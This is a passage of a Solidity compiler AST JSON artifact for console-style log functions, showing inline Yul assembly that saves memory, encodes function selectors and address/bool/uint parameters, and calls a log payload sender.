3:6:22","nodeType":"YulIdentifier","src":"88473:6:22"},"nativeSrc":"88473:16:22","nodeType":"YulFunctionCall","src":"88473:16:22"},"nativeSrc":"88473:16:22","nodeType":"YulExpressionStatement","src":"88473:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88509:4:22","nodeType":"YulLiteral","src":"88509:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"88515:2:22","nodeType":"YulIdentifier","src":"88515:2:22"}],"functionName":{"name":"mstore","nativeSrc":"88502:6:22","nodeType":"YulIdentifier","src":"88502:6:22"},"nativeSrc":"88502:16:22","nodeType":"YulFunctionCall","src":"88502:16:22"},"nativeSrc":"88502:16:22","nodeType":"YulExpressionStatement","src":"88502:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88538:4:22","nodeType":"YulLiteral","src":"88538:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"88544:2:22","nodeType":"YulIdentifier","src":"88544:2:22"}],"functionName":{"name":"mstore","nativeSrc":"88531:6:22","nodeType":"YulIdentifier","src":"88531:6:22"},"nativeSrc":"88531:16:22","nodeType":"YulFunctionCall","src":"88531:16:22"},"nativeSrc":"88531:16:22","nodeType":"YulExpressionStatement","src":"88531:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88567:4:22","nodeType":"YulLiteral","src":"88567:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"88573:2:22","nodeType":"YulIdentifier","src":"88573:2:22"}],"functionName":{"name":"mstore","nativeSrc":"88560:6:22","nodeType":"YulIdentifier","src":"88560:6:22"},"nativeSrc":"88560:16:22","nodeType":"YulFunctionCall","src":"88560:16:22"},"nativeSrc":"88560:16:22","nodeType":"YulExpressionStatement","src":"88560:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36534,"isOffset":false,"isSlot":false,"src":"88457:2:22","valueSize":1},{"declaration":36537,"isOffset":false,"isSlot":false,"src":"88486:2:22","valueSize":1},{"declaration":36540,"isOffset":false,"isSlot":false,"src":"88515:2:22","valueSize":1},{"declaration":36543,"isOffset":false,"isSlot":false,"src":"88544:2:22","valueSize":1},{"declaration":36546,"isOffset":false,"isSlot":false,"src":"88573:2:22","valueSize":1}],"id":36554,"nodeType":"InlineAssembly","src":"88421:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"87821:3:22","parameters":{"id":36531,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36524,"mutability":"mutable","name":"p0","nameLocation":"87833:2:22","nodeType":"VariableDeclaration","scope":36556,"src":"87825:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36523,"name":"address","nodeType":"ElementaryTypeName","src":"87825:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36526,"mutability":"mutable","name":"p1","nameLocation":"87845:2:22","nodeType":"VariableDeclaration","scope":36556,"src":"87837:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36525,"name":"address","nodeType":"ElementaryTypeName","src":"87837:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36528,"mutability":"mutable","name":"p2","nameLocation":"87854:2:22","nodeType":"VariableDeclaration","scope":36556,"src":"87849:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36527,"name":"bool","nodeType":"ElementaryTypeName","src":"87849:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":36530,"mutability":"mutable","name":"p3","nameLocation":"87863:2:22","nodeType":"VariableDeclaration","scope":36556,"src":"87858:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36529,"name":"bool","nodeType":"ElementaryTypeName","src":"87858:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"87824:42:22"},"returnParameters":{"id":36532,"nodeType":"ParameterList","parameters":[],"src":"87881:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36590,"nodeType":"FunctionDefinition","src":"88598:786:22","nodes":[],"body":{"id":36589,"nodeType":"Block","src":"88670:714:22","nodes":[],"statements":[{"assignments":[36568],"declarations":[{"constant":false,"id":36568,"mutability":"mutable","name":"m0","nameLocation":"88688:2:22","nodeType":"VariableDeclaration","scope":36589,"src":"88680:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36567,"name":"bytes32","nodeType":"ElementaryTypeName","src":"88680:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36569,"nodeType":"VariableDeclarationStatement","src":"88680:10:22"},{"assignments":[36571],"declarations":[{"constant":false,"id":36571,"mutability":"mutable","name":"m1","nameLocation":"88708:2:22","nodeType":"VariableDeclaration","scope":36589,"src":"88700:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36570,"name":"bytes32","nodeType":"ElementaryTypeName","src":"88700:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36572,"nodeType":"VariableDeclarationStatement","src":"88700:10:22"},{"assignments":[36574],"declarations":[{"constant":false,"id":36574,"mutability":"mutable","name":"m2","nameLocation":"88728:2:22","nodeType":"VariableDeclaration","scope":36589,"src":"88720:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36573,"name":"bytes32","nodeType":"ElementaryTypeName","src":"88720:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36575,"nodeType":"VariableDeclarationStatement","src":"88720:10:22"},{"assignments":[36577],"declarations":[{"constant":false,"id":36577,"mutability":"mutable","name":"m3","nameLocation":"88748:2:22","nodeType":"VariableDeclaration","scope":36589,"src":"88740:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36576,"name":"bytes32","nodeType":"ElementaryTypeName","src":"88740:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36578,"nodeType":"VariableDeclarationStatement","src":"88740:10:22"},{"assignments":[36580],"declarations":[{"constant":false,"id":36580,"mutability":"mutable","name":"m4","nameLocation":"88768:2:22","nodeType":"VariableDeclaration","scope":36589,"src":"88760:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36579,"name":"bytes32","nodeType":"ElementaryTypeName","src":"88760:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36581,"nodeType":"VariableDeclarationStatement","src":"88760:10:22"},{"AST":{"nativeSrc":"88789:378:22","nodeType":"YulBlock","src":"88789:378:22","statements":[{"nativeSrc":"88803:17:22","nodeType":"YulAssignment","src":"88803:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88815:4:22","nodeType":"YulLiteral","src":"88815:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"88809:5:22","nodeType":"YulIdentifier","src":"88809:5:22"},"nativeSrc":"88809:11:22","nodeType":"YulFunctionCall","src":"88809:11:22"},"variableNames":[{"name":"m0","nativeSrc":"88803:2:22","nodeType":"YulIdentifier","src":"88803:2:22"}]},{"nativeSrc":"88833:17:22","nodeType":"YulAssignment","src":"88833:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88845:4:22","nodeType":"YulLiteral","src":"88845:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"88839:5:22","nodeType":"YulIdentifier","src":"88839:5:22"},"nativeSrc":"88839:11:22","nodeType":"YulFunctionCall","src":"88839:11:22"},"variableNames":[{"name":"m1","nativeSrc":"88833:2:22","nodeType":"YulIdentifier","src":"88833:2:22"}]},{"nativeSrc":"88863:17:22","nodeType":"YulAssignment","src":"88863:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88875:4:22","nodeType":"YulLiteral","src":"88875:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"88869:5:22","nodeType":"YulIdentifier","src":"88869:5:22"},"nativeSrc":"88869:11:22","nodeType":"YulFunctionCall","src":"88869:11:22"},"variableNames":[{"name":"m2","nativeSrc":"88863:2:22","nodeType":"YulIdentifier","src":"88863:2:22"}]},{"nativeSrc":"88893:17:22","nodeType":"YulAssignment","src":"88893:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88905:4:22","nodeType":"YulLiteral","src":"88905:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"88899:5:22","nodeType":"YulIdentifier","src":"88899:5:22"},"nativeSrc":"88899:11:22","nodeType":"YulFunctionCall","src":"88899:11:22"},"variableNames":[{"name":"m3","nativeSrc":"88893:2:22","nodeType":"YulIdentifier","src":"88893:2:22"}]},{"nativeSrc":"88923:17:22","nodeType":"YulAssignment","src":"88923:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88935:4:22","nodeType":"YulLiteral","src":"88935:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"88929:5:22","nodeType":"YulIdentifier","src":"88929:5:22"},"nativeSrc":"88929:11:22","nodeType":"YulFunctionCall","src":"88929:11:22"},"variableNames":[{"name":"m4","nativeSrc":"88923:2:22","nodeType":"YulIdentifier","src":"88923:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89024:4:22","nodeType":"YulLiteral","src":"89024:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"89030:10:22","nodeType":"YulLiteral","src":"89030:10:22","type":"","value":"0x3971e78c"}],"functionName":{"name":"mstore","nativeSrc":"89017:6:22","nodeType":"YulIdentifier","src":"89017:6:22"},"nativeSrc":"89017:24:22","nodeType":"YulFunctionCall","src":"89017:24:22"},"nativeSrc":"89017:24:22","nodeType":"YulExpressionStatement","src":"89017:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89061:4:22","nodeType":"YulLiteral","src":"89061:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"89067:2:22","nodeType":"YulIdentifier","src":"89067:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89054:6:22","nodeType":"YulIdentifier","src":"89054:6:22"},"nativeSrc":"89054:16:22","nodeType":"YulFunctionCall","src":"89054:16:22"},"nativeSrc":"89054:16:22","nodeType":"YulExpressionStatement","src":"89054:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89090:4:22","nodeType":"YulLiteral","src":"89090:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"89096:2:22","nodeType":"YulIdentifier","src":"89096:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89083:6:22","nodeType":"YulIdentifier","src":"89083:6:22"},"nativeSrc":"89083:16:22","nodeType":"YulFunctionCall","src":"89083:16:22"},"nativeSrc":"89083:16:22","nodeType":"YulExpressionStatement","src":"89083:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89119:4:22","nodeType":"YulLiteral","src":"89119:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"89125:2:22","nodeType":"YulIdentifier","src":"89125:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89112:6:22","nodeType":"YulIdentifier","src":"89112:6:22"},"nativeSrc":"89112:16:22","nodeType":"YulFunctionCall","src":"89112:16:22"},"nativeSrc":"89112:16:22","nodeType":"YulExpressionStatement","src":"89112:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89148:4:22","nodeType":"YulLiteral","src":"89148:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"89154:2:22","nodeType":"YulIdentifier","src":"89154:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89141:6:22","nodeType":"YulIdentifier","src":"89141:6:22"},"nativeSrc":"89141:16:22","nodeType":"YulFunctionCall","src":"89141:16:22"},"nativeSrc":"89141:16:22","nodeType":"YulExpressionStatement","src":"89141:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36568,"isOffset":false,"isSlot":false,"src":"88803:2:22","valueSize":1},{"declaration":36571,"isOffset":false,"isSlot":false,"src":"88833:2:22","valueSize":1},{"declaration":36574,"isOffset":false,"isSlot":false,"src":"88863:2:22","valueSize":1},{"declaration":36577,"isOffset":false,"isSlot":false,"src":"88893:2:22","valueSize":1},{"declaration":36580,"isOffset":false,"isSlot":false,"src":"88923:2:22","valueSize":1},{"declaration":36558,"isOffset":false,"isSlot":false,"src":"89067:2:22","valueSize":1},{"declaration":36560,"isOffset":false,"isSlot":false,"src":"89096:2:22","valueSize":1},{"declaration":36562,"isOffset":false,"isSlot":false,"src":"89125:2:22","valueSize":1},{"declaration":36564,"isOffset":false,"isSlot":false,"src":"89154:2:22","valueSize":1}],"id":36582,"nodeType":"InlineAssembly","src":"88780:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36584,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"89192:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36585,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"89198:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36583,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"89176:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36586,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"89176:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36587,"nodeType":"ExpressionStatement","src":"89176:27:22"},{"AST":{"nativeSrc":"89222:156:22","nodeType":"YulBlock","src":"89222:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"89243:4:22","nodeType":"YulLiteral","src":"89243:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"89249:2:22","nodeType":"YulIdentifier","src":"89249:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89236:6:22","nodeType":"YulIdentifier","src":"89236:6:22"},"nativeSrc":"89236:16:22","nodeType":"YulFunctionCall","src":"89236:16:22"},"nativeSrc":"89236:16:22","nodeType":"YulExpressionStatement","src":"89236:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89272:4:22","nodeType":"YulLiteral","src":"89272:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"89278:2:22","nodeType":"YulIdentifier","src":"89278:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89265:6:22","nodeType":"YulIdentifier","src":"89265:6:22"},"nativeSrc":"89265:16:22","nodeType":"YulFunctionCall","src":"89265:16:22"},"nativeSrc":"89265:16:22","nodeType":"YulExpressionStatement","src":"89265:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89301:4:22","nodeType":"YulLiteral","src":"89301:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"89307:2:22","nodeType":"YulIdentifier","src":"89307:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89294:6:22","nodeType":"YulIdentifier","src":"89294:6:22"},"nativeSrc":"89294:16:22","nodeType":"YulFunctionCall","src":"89294:16:22"},"nativeSrc":"89294:16:22","nodeType":"YulExpressionStatement","src":"89294:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89330:4:22","nodeType":"YulLiteral","src":"89330:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"89336:2:22","nodeType":"YulIdentifier","src":"89336:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89323:6:22","nodeType":"YulIdentifier","src":"89323:6:22"},"nativeSrc":"89323:16:22","nodeType":"YulFunctionCall","src":"89323:16:22"},"nativeSrc":"89323:16:22","nodeType":"YulExpressionStatement","src":"89323:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"89359:4:22","nodeType":"YulLiteral","src":"89359:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"89365:2:22","nodeType":"YulIdentifier","src":"89365:2:22"}],"functionName":{"name":"mstore","nativeSrc":"89352:6:22","nodeType":"YulIdentifier","src":"89352:6:22"},"nativeSrc":"89352:16:22","nodeType":"YulFunctionCall","src":"89352:16:22"},"nativeSrc":"89352:16:22","nodeType":"YulExpressionStatement","src":"89352:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36568,"isOffset":false,"isSlot":false,"src":"89249:2:22","valueSize":1},{"declaration":36571,"isOffset":false,"isSlot":false,"src":"89278:2:22","valueSize":1},{"declaration":36574,"isOffset":false,"isSlot":false,"src":"89307:2:22","valueSize":1},{"declaration":36577,"isOffset":false,"isSlot":false,"src":"89336:2:22","valueSize":1},{"declaration":36580,"isOffset":false,"isSlot":false,"src":"89365:2:22","valueSize":1}],"id":36588,"nodeType":"InlineAssembly","src":"89213:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"88607:3:22","parameters":{"id":36565,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36558,"mutability":"mutable","name":"p0","nameLocation":"88619:2:22","nodeType":"VariableDeclaration","scope":36590,"src":"88611:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36557,"name":"address","nodeType":"ElementaryTypeName","src":"88611:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36560,"mutability":"mutable","name":"p1","nameLocation":"88631:2:22","nodeType":"VariableDeclaration","scope":36590,"src":"88623:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36559,"name":"address","nodeType":"ElementaryTypeName","src":"88623:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36562,"mutability":"mutable","name":"p2","nameLocation":"88640:2:22","nodeType":"VariableDeclaration","scope":36590,"src":"88635:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36561,"name":"bool","nodeType":"ElementaryTypeName","src":"88635:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":36564,"mutability":"mutable","name":"p3","nameLocation":"88652:2:22","nodeType":"VariableDeclaration","scope":36590,"src":"88644:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36563,"name":"uint256","nodeType":"ElementaryTypeName","src":"88644:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"88610:45:22"},"returnParameters":{"id":36566,"nodeType":"ParameterList","parameters":[],"src":"88670:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36630,"nodeType":"FunctionDefinition","src":"89390:1334:22","nodes":[],"body":{"id":36629,"nodeType":"Block","src":"89462:1262:22","nodes":[],"statements":[{"assignments":[36602],"declarations":[{"constant":false,"id":36602,"mutability":"mutable","name":"m0","nameLocation":"89480:2:22","nodeType":"VariableDeclaration","scope":36629,"src":"89472:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36601,"name":"bytes32","nodeType":"ElementaryTypeName","src":"89472:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36603,"nodeType":"VariableDeclarationStatement","src":"89472:10:22"},{"assignments":[36605],"declarations":[{"constant":false,"id":36605,"mutability":"mutable","name":"m1","nameLocation":"89500:2:22","nodeType":"VariableDeclaration","scope":36629,"src":"89492:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36604,"name":"bytes32","nodeType":"ElementaryTypeName","src":"89492:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36606,"nodeType":"VariableDeclarationStatement","src":"89492:10:22"},{"assignments":[36608],"declarations":[{"constant":false,"id":36608,"mutability":"mutable","name":"m2","nameLocation":"89520:2:22","nodeType":"VariableDeclaration","scope":36629,"src":"89512:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36607,"name":"bytes32","nodeType":"ElementaryTypeName","src":"89512:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36609,"nodeType":"VariableDeclarationStatement","src":"89512:10:22"},{"assignments":[36611],"declarations":[{"constant":false,"id":36611,"mutability":"mutable","name":"m3","nameLocation":"89540:2:22","nodeType":"VariableDeclaration","scope":36629,"src":"89532:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36610,"name":"bytes32","nodeType":"ElementaryTypeName","src":"89532:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36612,"nodeType":"VariableDeclarationStatement","src":"89532:10:22"},{"assignments":[36614],"declarations":[{"constant":false,"id":36614,"mutability":"mutable","name":"m4","nameLocation":"89560:2:22","nodeType":"VariableDeclaration","scope":36629,"src":"89552:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36613,"name":"bytes32","nodeType":"ElementaryTypeName","src":"89552:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36615,"nodeType":"VariableDeclarationStatement","src":"89552:10:22"},{"assignments":[36617],"declarations":[{"constant":false,"id":36617,"mutability":"mutable","name":"m5","nameLocation":"89580:2:22","nodeType":"VariableDeclaration","scope":36629,"src":"89572:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36616,"name":"bytes32","nodeType":"ElementaryTypeName","src":"89572:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36618,"nodeType":"VariableDeclarationStatement","src":"89572:10:22"},{"assignments":[36620],"declarations":[{"constant":false,"id":36620,"mutability":"mutable","name":"m6","nameLocation":"89600:2:22","nodeType":"VariableDeclaration","scope":36629,"src":"89592:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36619,"name":"bytes32","nodeType":"ElementaryTypeName","src":"89592:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36621,"nodeType":"VariableDeclarationStatement","src":"89592:10:22"},{"AST":{"nativeSrc":"89621:828:22","nodeType":"YulBlock","src":"89621:828:22","statements":[{"body":{"nativeSrc":"89664:313:22","nodeType":"YulBlock","src":"89664:313:22","statements":[{"nativeSrc":"89682:15:22","nodeType":"YulVariableDeclaration","src":"89682:15:22","value":{"kind":"number","nativeSrc":"89696:1:22","nodeType":"YulLiteral","src":"89696:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"89686:6:22","nodeType":"YulTypedName","src":"89686:6:22","type":""}]},{"body":{"nativeSrc":"89767:40:22","nodeType":"YulBlock","src":"89767:40:22","statements":[{"body":{"nativeSrc":"89796:9:22","nodeType":"YulBlock","src":"89796:9:22","statements":[{"nativeSrc":"89798:5:22","nodeType":"YulBreak","src":"89798:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"89784:6:22","nodeType":"YulIdentifier","src":"89784:6:22"},{"name":"w","nativeSrc":"89792:1:22","nodeType":"YulIdentifier","src":"89792:1:22"}],"functionName":{"name":"byte","nativeSrc":"89779:4:22","nodeType":"YulIdentifier","src":"89779:4:22"},"nativeSrc":"89779:15:22","nodeType":"YulFunctionCall","src":"89779:15:22"}],"functionName":{"name":"iszero","nativeSrc":"89772:6:22","nodeType":"YulIdentifier","src":"89772:6:22"},"nativeSrc":"89772:23:22","nodeType":"YulFunctionCall","src":"89772:23:22"},"nativeSrc":"89769:36:22","nodeType":"YulIf","src":"89769:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"89724:6:22","nodeType":"YulIdentifier","src":"89724:6:22"},{"kind":"number","nativeSrc":"89732:4:22","nodeType":"YulLiteral","src":"89732:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"89721:2:22","nodeType":"YulIdentifier","src":"89721:2:22"},"nativeSrc":"89721:16:22","nodeType":"YulFunctionCall","src":"89721:16:22"},"nativeSrc":"89714:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"89738:28:22","nodeType":"YulBlock","src":"89738:28:22","statements":[{"nativeSrc":"89740:24:22","nodeType":"YulAssignment","src":"89740:24:22","value":{"arguments":[{"name":"length","nativeSrc":"89754:6:22","nodeType":"YulIdentifier","src":"89754:6:22"},{"kind":"number","nativeSrc":"89762:1:22","nodeType":"YulLiteral","src":"89762:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"89750:3:22","nodeType":"YulIdentifier","src":"89750:3:22"},"nativeSrc":"89750:14:22","nodeType":"YulFunctionCall","src":"89750:14:22"},"variableNames":[{"name":"length","nativeSrc":"89740:6:22","nodeType":"YulIdentifier","src":"89740:6:22"}]}]},"pre":{"nativeSrc":"89718:2:22","nodeType":"YulBlock","src":"89718:2:22","statements":[]},"src":"89714:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"89831:3:22","nodeType":"YulIdentifier","src":"89831:3:22"},{"name":"length","nativeSrc":"89836:6:22","nodeType":"YulIdentifier","src":"89836:6:22"}],"functionName":{"name":"mstore","nativeSrc":"89824:6:22","nodeType":"YulIdentifier","src":"89824:6:22"},"nativeSrc":"89824:19:22","nodeType":"YulFunctionCall","src":"89824:19:22"},"nativeSrc":"89824:19:22","nodeType":"YulExpressionStatement","src":"89824:19:22"},{"nativeSrc":"89860:37:22","nodeType":"YulVariableDeclaration","src":"89860:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"89877:3:22","nodeType":"YulLiteral","src":"89877:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"89886:1:22","nodeType":"YulLiteral","src":"89886:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"89889:6:22","nodeType":"YulIdentifier","src":"89889:6:22"}],"functionName":{"name":"shl","nativeSrc":"89882:3:22","nodeType":"YulIdentifier","src":"89882:3:22"},"nativeSrc":"89882:14:22","nodeType":"YulFunctionCall","src":"89882:14:22"}],"functionName":{"name":"sub","nativeSrc":"89873:3:22","nodeType":"YulIdentifier","src":"89873:3:22"},"nativeSrc":"89873:24:22","nodeType":"YulFunctionCall","src":"89873:24:22"},"variables":[{"name":"shift","nativeSrc":"89864:5:22","nodeType":"YulTypedName","src":"89864:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"89925:3:22","nodeType":"YulIdentifier","src":"89925:3:22"},{"kind":"number","nativeSrc":"89930:4:22","nodeType":"YulLiteral","src":"89930:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"89921:3:22","nodeType":"YulIdentifier","src":"89921:3:22"},"nativeSrc":"89921:14:22","nodeType":"YulFunctionCall","src":"89921:14:22"},{"arguments":[{"name":"shift","nativeSrc":"89941:5:22","nodeType":"YulIdentifier","src":"89941:5:22"},{"arguments":[{"name":"shift","nativeSrc":"89952:5:22","nodeType":"YulIdentifier","src":"89952:5:22"},{"name":"w","nativeSrc":"89959:1:22","nodeType":"YulIdentifier","src":"89959:1:22"}],"functionName":{"name":"shr","nativeSrc":"89948:3:22","nodeType":"YulIdentifier","src":"89948:3:22"},"nativeSrc":"89948:13:22","nodeType":"YulFunctionCall","src":"89948:13:22"}],"functionName":{"name":"shl","nativeSrc":"89937:3:22","nodeType":"YulIdentifier","src":"89937:3:22"},"nativeSrc":"89937:25:22","nodeType":"YulFunctionCall","src":"89937:25:22"}],"functionName":{"name":"mstore","nativeSrc":"89914:6:22","nodeType":"YulIdentifier","src":"89914:6:22"},"nativeSrc":"89914:49:22","nodeType":"YulFunctionCall","src":"89914:49:22"},"nativeSrc":"89914:49:22","nodeType":"YulExpressionStatement","src":"89914:49:22"}]},"name":"writeString","nativeSrc":"89635:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"89656:3:22","nodeType":"YulTypedName","src":"8965